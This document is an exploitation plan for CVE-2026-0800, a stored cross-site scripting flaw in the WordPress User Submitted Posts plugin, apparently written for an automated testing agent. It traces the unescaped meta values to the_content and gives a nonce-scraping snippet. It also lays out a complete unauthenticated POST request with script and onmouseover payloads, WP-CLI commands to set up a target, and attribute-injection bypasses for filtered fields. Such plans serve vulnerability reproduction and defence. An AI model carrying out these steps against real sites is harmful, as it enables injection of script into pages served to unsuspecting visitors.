Exploitation Research Plan - CVE-2026-0800

1. Vulnerability Summary

The User Submitted Posts plugin (<= 20251210) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows guest users to submit posts containing custom metadata (Name, URL, Email) which is subsequently saved and rendered in the post content on the front end without adequate sanitization or output escaping. Specifically, the "Auto-display" features inject raw meta values into the the_content filter.

2. Attack Vector Analysis

• Endpoint: The front-end post submission form, typically rendered via the [user-submitted-posts] shortcode.
• Action: A POST request to any page containing the submission form (or the site root if the plugin processes submissions globally).
• Vulnerable Parameters:
  • user-submitted-name (maps to meta user_submit_name)
  • user-submitted-url (maps to meta user_submit_url)
  • user-submitted-email (maps to meta user_submit_email)
• Authentication: None required (Unauthenticated).
• Preconditions:
  • The "Auto-display" settings for Name, URL, or Email must be enabled (set to 'before' or 'after').
  • The "Post Status" should ideally be set to "Publish Immediately" for instant verification, though "Pending" posts still store the payload for later execution.

3. Code Flow

1. Submission: When a user submits the form, the plugin (likely in library/form-functions.php, though partially seen in user-submitted-posts.php) processes the $_POST data.
2. Storage: Functions like usp_get_submitted_title() and logic associated with usp_get_custom_field() retrieve input. The plugin saves these values to the database using add_post_meta() or update_post_meta() with keys like user_submit_name.
3. Display (Sink): In library/core-functions.php, the function usp_auto_display_name($content) (and its counterparts for URL and Email) is hooked into the_content.
   • It retrieves the meta: $author = get_post_meta(get_the_ID(), 'user_submit_name', true);
   • It defines a replacement pattern: $patterns[0] = "/%%author%%/";
   • It performs a replacement into a markup string: $markup = preg_replace($patterns, $replacements, $markup);
   • Crucially, no escaping (e.g., esc_html, esc_attr) is applied to $author before it is concatenated into $content.
4. Execution: When any user views the submitted post, the XSS payload is rendered as part of the post content and executes in the browser.

4. Nonce Acquisition Strategy

The plugin uses a nonce for front-end submissions to prevent CSRF, even for unauthenticated users.

1. Identify Shortcode: The primary shortcode is [user-submitted-posts].
2. Setup Page: Create a public page containing this shortcode.
3. Extraction:
   • Navigate to the page using browser_navigate.
   • The nonce is typically found in a hidden input field within the form or localized via wp_localize_script.
   • Based on standard USP behavior, check for a hidden input named usp-nonce.
   • JavaScript Retrieval: browser_eval("document.querySelector('input[name=\"usp-nonce\"]')?.value").

5. Exploitation Strategy

1. Preparation:
   • Set plugin options to auto-publish and auto-display Name and URL.
2. Target URL: The URL of the page containing the [user-submitted-posts] shortcode.
3. Payload: <script>alert(document.domain)</script>
4. HTTP Request (via http_request):
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • user-submitted-title: Test XSS Post
     • user-submitted-content: This is a test post.
     • user-submitted-name: <script>alert('XSS_NAME')</script>
     • user-submitted-url: http://example.com" onmouseover="alert('XSS_URL')
     • user-submitted-category: 1 (usually 'Uncategorized' ID)
     • usp-nonce: [EXTRACTED_NONCE]
     • usp_save: Submit Post (or the equivalent submit button name)

6. Test Data Setup

1. Configure Plugin Options (via WP-CLI):

   # Enable auto-display of name and URL before the content
   wp option patch update usp_options auto_display_name 'before'
   wp option patch update usp_options auto_display_url 'after'
   # Set posts to publish immediately for easy testing
   wp option patch update usp_options usp_post_status 'publish'
   # Ensure name and URL fields are enabled
   wp option patch update usp_options usp_name 'show'
   wp option patch update usp_options usp_url 'show'
   

2. Create Submission Page:

   wp post create --post_type=page --post_title="Submit Here" --post_content='[user-submitted-posts]' --post_status=publish
   

7. Expected Results

• The http_request should return a successful status (usually a 200 or 302 redirect).
• A new post should be created.
• When navigating to the new post's URL, the HTML source should contain the raw, unescaped payload:
  • <p>...<script>alert('XSS_NAME')</script>...</p>
  • Or within the URL markup: <a href="http://example.com" onmouseover="alert('XSS_URL')">...</a>

8. Verification Steps

1. Check Post Creation: wp post list --post_type=post --status=publish
2. Verify Meta Content:

   POST_ID=$(wp post list --post_type=post --post_status=publish --field=ID | head -n 1)
   wp post meta get $POST_ID user_submit_name
   

3. Verify Frontend Output:
   Use http_request (GET) on the post permalink and grep for the payload string.

9. Alternative Approaches

• Custom Fields: If user-submitted-name is sanitized, try usp_get_custom_field() (mapped to custom_name in options). The code shows usp_get_custom_field uses usp_sanitize_content, which might be bypassed or insufficient for XSS if it only targets script tags and not attribute-based injection.
• Attribute Injection: If <script> tags are stripped, use:
  " onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;" "
  Inject this into the user-submitted-url field, which is often placed inside an href attribute.